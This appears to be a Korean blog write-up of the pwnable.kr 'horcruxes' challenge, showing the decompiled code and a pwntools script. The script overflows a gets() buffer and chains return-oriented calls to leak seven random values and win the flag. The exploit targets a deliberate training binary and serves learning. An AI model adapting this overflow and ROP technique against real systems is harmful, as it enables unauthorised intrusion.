[Pwnable] horcruxes

포너블 바이너리 공짜 다운로드 ->

scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./

Analysis

flag 획득 방법 : ropme() 함수에서 입력하는 숫자와 sum 변수의 값이 일치하면 flag가 출력됨.

 

main()

각종 보호기법 추가 및 세팅 

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v4 = seccomp_init(0);
  seccomp_rule_add(v4, 0x7FFF0000, 173, 0);
  seccomp_rule_add(v4, 0x7FFF0000, 5, 0);
  seccomp_rule_add(v4, 2147418112, 3, 0);
  seccomp_rule_add(v4, 2147418112, 4, 0);
  seccomp_rule_add(v4, 2147418112, 252, 0);
  seccomp_load(v4);
  return ropme();
}

 

 

ropme() 

우리가 입력하는 숫자가 랜덤으로 배치되어 합쳐진 sum 값과 똑같아야 flag 표시

더보기
int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h] BYREF
  int v2; // [esp+68h] [ebp-10h] BYREF
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

우리가 입력하는 숫자가 랜덤으로 배치되어 합쳐진 sum 값과 똑같아야 flag 표시

 

 

 

그외 문제 세팅의 함수들 -> 더보기 참조

더보기

init_ABCDEFG()

init_ABCDEFG() 함수는 main() 함수 안에서 초기 세팅이 되며 

int init_ABCDEFG()
{
  int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h] BYREF
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = 0xDEADBEEF * rand() % 0xCAFEBABE;
  b = 0xDEADBEEF * rand() % 0xCAFEBABE;
  c = 0xDEADBEEF * rand() % 0xCAFEBABE;
  d = 0xDEADBEEF * rand() % 0xCAFEBABE;
  e = 0xDEADBEEF * rand() % 0xCAFEBABE;
  f = 0xDEADBEEF * rand() % 0xCAFEBABE;
  g = 0xDEADBEEF * rand() % 0xCAFEBABE;
  result = f + e + d + c + b + a + g;
  sum = result;
  return result;
}

 

 

hint() 

hint() - 볼드모트는 7개의 호크룩스 안에 영혼을 숨겼으니, 모든 호크룩스를 찾아서 파괴할 것

int hint()
{
  puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
  return puts("Find all horcruxes, and destroy it!\n");
}

 

 

A~G함수

int A()
{
  return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}
int B()
{
  return printf("You found \"Marvolo Gaunt's Ring\" (EXP +%d)\n", b);
}
int C()
{
  return printf("You found \"Helga Hufflepuff's Cup\" (EXP +%d)\n", c);
}
int D()
{
  return printf("You found \"Salazar Slytherin's Locket\" (EXP +%d)\n", d);
}
int E()
{
  return printf("You found \"Rowena Ravenclaw's Diadem\" (EXP +%d)\n", e);
}
int F()
{
  return printf("You found \"Nagini the Snake\" (EXP +%d)\n", f);
}
int G()
{
  return printf("You found \"Harry Potter\" (EXP +%d)\n", g);
}

 

sum 값은 모두 /dev/urandom 에서 들고 오며 아래 과정으로 만들어진다.

  srand(buf);
  a = 0xDEADBEEF * rand() % 0xCAFEBABE;
  b = 0xDEADBEEF * rand() % 0xCAFEBABE;
  c = 0xDEADBEEF * rand() % 0xCAFEBABE;
  d = 0xDEADBEEF * rand() % 0xCAFEBABE;
  e = 0xDEADBEEF * rand() % 0xCAFEBABE;
  f = 0xDEADBEEF * rand() % 0xCAFEBABE;
  g = 0xDEADBEEF * rand() % 0xCAFEBABE;
  result = f + e + d + c + b + a + g;
  sum = result;

 

당연한 소리겠지만 동적분석으로 찍어보면 a~g값은 모두 다른 값으로 들어간다.

 

 

이 값들을 출력하려면 각각 함수들을 실행흐름에 넣어야한다.

 

; Attributes: bp-based frame

; int E()
public E
E proc near
; __unwind {
push    ebp
mov     ebp, esp
sub     esp, 8
mov     eax, ds:e
sub     esp, 8
push    eax
push    offset aYouFoundRowena ; "You found \"Rowena Ravenclaw's Diadem\""...
call    _printf
add     esp, 10h
nop
leave
retn
; } // starts at 809FEC7
E endp

E함수를 레퍼런스로 들고 왔는데

 

ds:a ~ ds:g 주소에 우리가 원하는 값을 갖고 있고 printf로 출력해준다.

 

 

Exploit

1. A~G 함수를 모두 touch 한다.

그래서 그냥 모든 곳을 다 가게 함수 주소를 넣었다.

랜덤 값들이 출력되는걸 적으면 되지 않나?

 

예 그래서 해줬습니다.

 

from pwn import *
# ssh horcruxes@pwnable.kr -p2222 (pw:guest)

p = remote('pwnable.kr', 9032)
#context.log_level = 'debug'

a = 0x0809fe4b
b = 0x0809fe6a
c = 0x0809fe89
d = 0x0809fea8
e = 0x0809fec7
f = 0x0809fee6
g = 0x0809ff05

ropme = 0x809fffc

buf = b"A"* 120
buf += p32(a) + p32(b) + p32(c) + p32(d) + p32(e) + p32(f) + p32(g)
buf += p32(ropme)
p.sendlineafter(b"Menu:", b"1")
p.sendlineafter(b"earned? :", buf)

sum = 0 
for i in range(7):
    p.recvuntil(b"(EXP +")
    sum += int(p.recvuntil(b")")[:-1])
    
print("sum ->", sum)

p.sendlineafter(b"Menu:", b"1")
p.sendlineafter(b"earned? :", str(sum).encode())

p.interactive()

 

정말로 아주 쉽고 간단한 문제네요.

 

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable] unlink 시각화하면서 천천히 풀기  (0) 2024.08.09
[Pwnable] blukat  (0) 2024.06.20